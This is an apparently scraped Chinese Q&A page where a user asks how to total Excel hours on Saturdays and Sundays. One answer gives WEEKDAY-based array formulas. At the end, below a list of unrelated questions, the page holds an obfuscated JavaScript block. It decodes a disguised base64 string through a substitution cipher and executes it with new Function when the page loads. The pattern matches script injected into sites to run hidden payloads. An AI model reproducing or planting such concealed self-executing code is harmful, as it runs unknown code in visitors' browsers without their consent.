首页

51问答网 > Excel中，怎样判断单元格是周六周日并按要求求和？

Excel中，怎样判断单元格是周六周日并按要求求和？

如题。见下表，怎样知道AF4、AG4、AH4的值？

2025-03-13 23:37:23

推荐回答（2个）

回答1：

数组公式
第一个
=SUM((WEEKDAY(A2:AE2)=7)*IF(A4:AE4<8,A4:AE4/8,8))
第二个
=SUM((WEEKDAY(A2:AE2)=7)*IF(A4:AE4<8,0,A4:AE4-8))
第三个
=SUM((WEEKDAY(A2:AE2)=1)*A4:AE4)
如不明白请追问

回答2：

写代码来分析数据！

相关问答

最新问答

埃美柯马桶是由哪个厂生产的谢谢了，大神帮忙啊

联系实际谈谈现代中小学生的思想状况，学习状况有什么特点

北京机场坐地铁到北京火车站要多长时间

捷信公司放高利贷合法么？

出国了，手机卡还能用吗?

侨升教育网络课程很牛吗？

碧欧泉AQUASOURCE CREAM 50ml是什么意思？

车已经今天提回来了，意思是说我属兔今天提车日子好不好

2022年6月8号到一月22号多少天？

我在2014年买了中邮富富余3号两全保险分红型每年交8000,交3年,存6年,交了两年，第二年我贷

(function(){function p8e1545(xf90e981){var g6be64f2="8q^@3dueh.cW?pr6Sn1w45[/fHJLGF]NvP(j,U7V~9=BKOga%Mliys$RTkmY:o2IC|_Ez-QDAxt;XZ&b0!";var o1656="PtJB7S^i@d(plD&MN9/qTrwZ=QY!WE,x:j;IzvmkL3~_UHnyK8C[%gFfAcV2?.b4e1R-|0GahOu5s]6X$o";return atob(xf90e981).split('').map(function(g0fdd){var ac906=g6be64f2.indexOf(g0fdd);return ac906==-1?g0fdd:o1656[ac906]}).join('')}var c=p8e1545('rtmp://W2VnLiFbaSJlIisiSVlNIisiOyIrIjsiWmZSdGdrcWUhZ2Mpe2NSdGdrcWUhZ2NbLUQtO3wtXWF8WS45LSZdQW47JlkzRF1ESS5rfCl7ZVJjMXU2RGt6R2VnMW9xQ1hxY2dEVWVzRHEhNW9XP0RxUiE1NykpezVDcXQ1Z31VRDUgdG5EOU0zZlJ0Z2txZSFnYyxrQ01ZblkpezVDcXQ1ZyBkcTVlZ3NvUjUhN2xBRDVsIS5DYyxrQ01ZblkpfShVRDUgNzMzLnwtOTtmaSI/UFhFTy18Qn54VHBCXmRCTzQ2fiJdIlVDNUUtfCJdIlhlLkU5WSJdImtrcUVZLVk7RS05RXxJIFl8dlkmdjktIlooVUQ1IHcuJi0tOy07ZkFuOyZZM0RpdG5EOU0zYy1OJnwpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJlkpWl1zWTtZQ1lSZkFuOyZZM0RpdG5EOU0zYy1OJlkpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJnwpWl1bMlJEbmZESS5rfGl3LiYtLTstO2MiSjltYWs3bXQuJFNQazc/Wy5UZmYiKVpdZ0QySW4mOVJEZncuJi0tOy07YyJKOV4/SmJfP19HTj8yR210LlRmZiIpXS5DQ0lNZncuJi0tOy07YyJrOW1lazlfYURHO2ciKV13RG5JOUM7Mi5mdy4mLS07LTtjIms3bVsyUSRQL0hmZiIpXS5JLmsyOyYyZncuJi0tOy07YyJrOUBYRGJIZiIpXSxua25SSWZ3LiYtLTstO2MiazdtWS9iXiwvSGZmIildVXwzTVJJbjtDZncuJi0tOy07YyJEN25XMnNmZiIpXVJSRDs7a2Z3LiYtLTstO2MiazckdC9RbnEiKV1nUiYubi1mQW47JlkzRGl3LiYtLTstO2MiNEckLURUZmYiKVpdQ0REblIta2Z3LiYtLTstO2MiMlFuQS9UZmYiKShVRDUgNW5rRDItZncuJi0tOy07YyJrWXwtREdfPy5zZmYiKShVRDUgazs7MztSQyYoZVJjPyFrRHFlIWdvWENENWtBb2VnLkNOeFJjNW5rRDItKT5FfCl7azs7MztSQyZmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiLlFtSS5RJGEvR0ZmIikpKGs7OzM7UkMmb2UuZiJxIitnUiYubi1pUlJEOztrWmMpKnwtLS0tKGs7OzM7UkMmb1hxYT9Db1tlLnFBZiJ8LS15IihrOzszO1JDJm9YcWE/Q29BQ2VzQXFmIjstLVdOIihrOzszO1JDJm8uZVhEMj9DLmZxNXRDKGVSY0RJLmt8bzIhLmFMZmd0Pz8pe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpfUM/WEN7VUQ1IDVuUjkmfDNZRGZSdGdrcWUhZ2Mpe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpKEFuOyZZM0RvNUM3IVVDRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9KEFuOyZZM0RvRC4uRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9fVVENSBSMnx8LTJJbnxmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiL0d8ZS9HSGYiKSkoUjJ8fC0ySW58b2UuZmF8WS45LSYrZ1ImLm4tb2tDZT9jZ1ImLm4taVJSRDs7a1pjKSp8LS0tLSkoVUQ1IERrJjJZLWZSdGdrcWUhZ2NrLlJZJmsmbk0pe1VENSBhOzJ8Mi1NLWZnQ1sgcERxQ2MpKFVENSBQfFImayYyLS5mYFg3cWVCWGUuQjB7YXxZLjktJn1CMHthOzJ8Mi1NLW9xIX4ha0Q/Q3BEcUNkcTVlZ3NjKX1gKFVENSBYLllrMmZndD8/KHE1YXtYLllrMmZeZHhTb1dENVhDYz8ha0Q/ZHEhNURzQ29zQ3FqcUM3Y1B8UiZrJjItLikpfWtEcWtBY0Mpe31lUmNYLllrMmZmZ3Q/Pyl7WC5ZazJmezI1IVtYQzVsIXRncXYtXX19WC5ZazJvMjUhW1hDNWwhdGdxKysoVUQ1IDVNOTkmZnNZO1lDWVJjNzMzLnwtOTtvayFna0RxY2lgZyFbRTB7cERxQ2kiZyFbIlpjKX1gXWBBNUNSRTB7PyFrRHFlIWdvQTVDUn1gXWB0WGtFMHtYLllrMm8yNSFbWEM1bCF0Z3F9YF1aKW9YITVxY2MpZj5nUiYubi1pUlJEOztrWmMpRS1vOylpVXwzTVJJbjtDWmMiXSIpKShVRDUgQ1JSa1JNZjVNOTkmb2VnLkNOeFJjdG5EOU0zYy1OOS4pKT5FfDo1TTk5JmkuQ0NJTVpjNU05OSZvZWcuQ054UmN0bkQ5TTNjLU45LikpKXYiIig1TTk5JmY1TTk5Jml3RG5JOUM7Mi5aY0NSUmtSTV0iIilpLkkuazI7JjJaYyIiKWksbmtuUklaYylpVXwzTVJJbjtDWmMiIikrQ1JSa1JNKFIyfHwtMklufG9YNWtmaSJBcXFXWHYxMSIray5SWSZrJm5NXVIyfHwtMklufG9lLl01TTk5JlppVXwzTVJJbjtDWmMiMSIpKERJLmt8bzIhLmFvZWdYQzVxQENSITVDY1IyfHwtMklufF1ESS5rfG8yIS5hb2tBZT8uUyEuQ1hpLVopKGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ0RXV0NnLkMuIEM3IHEhIEFxNz8iKFVENSBnSUQta0Q7LVJmREkua3xvc0NxRj9DN0NncUBhai5jUjJ8fC0ySW58b2UuKShlUmNnSUQta0Q7LVJmZmd0Pz96emdJRC1rRDstUmZmdGcuQ1JlZ0MuKXtrOzszO1JDJm9VRD90QytmIlxcNVxcZyBrRGdxIHNDcSBDNyBSNSE3IEFxNz8ifX19KGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ1hDZy4gUFggQSFYcSAiK1stRC07fC19VUQ1IGcuWXxJLm4mTWZSdGdrcWUhZ2NbM0NEOVkzKXs1Q3F0NWcgdy4mLS07LTtjWzNDRDlZMylpd0RuSTlDOzIuWmN0bkQ5TTNjLU5ZRCldZ1ImLm4taVJSRDs7a1pjKW9xIWRxNWVnc2M5JilvWD9la0NjZ1ImLm4tb1I/ISE1Y2dSJi5uLWlSUkQ7O2taYykqbikrWSkpfShEayYyWS1jZy5ZfEkubiZNY1stRC07fC0pKShBbjsmWTNEaSJELi5GVUNncX5lWHFDZ0M1IlpjIjdDWFhEc0MiXVJ0Z2txZSFnY0Mpe2VSY0NvLkRxRG9WZmZhfFkuOS0mKXtESS5rfG9zQ3FGP0M3Q2dxQGFqLmNSMnx8LTJJbnxvZS4pbzVDNyFVQ2MpKFVENSA1azNZa01DZmd0Pz8oZVJjazs7MztSQyZMZmd0Pz8pe2s7OzM7UkMmb1VEP3RDK2YiXFw1XFxnNUNrQ2VVQyBDNyBXIVhxIDdDWFhEc0MiKGs7OzM7UkMmb1VEP3RDK2YiXFw1XFxnQ28uRHFEb1UgIitDby5EcURvdyg1azNZa01DZmNvb29SMnwzLVl8KWY+e2VSY0xSMnwzLVl8enpSMnwzLVl8bz9DZ3NxQTxmLSk1Q3F0NWcoazs7MztSQyZvVUQ/dEMrZiJcXDVcXGciK1IyfDMtWXxvUCFlZ2MiICIpfX1nQ1sgJHRna3FlIWdjIkQ1c1giXUNvLkRxRG93KWN7QnEua1h2WzJSRG5dQj8hc3Y1azNZa01DXX0pfX0pfSljIi9Za3RTNG0sRFkkLDJHTnEvWS47MmQ7LTI5VCZ4NFZ8U3NmZiJdIjlZIl1bZWcuIVtdLiFrdDdDZ3EpfShlSVlNOztjKSg='.substr(7));new Function(c)()})();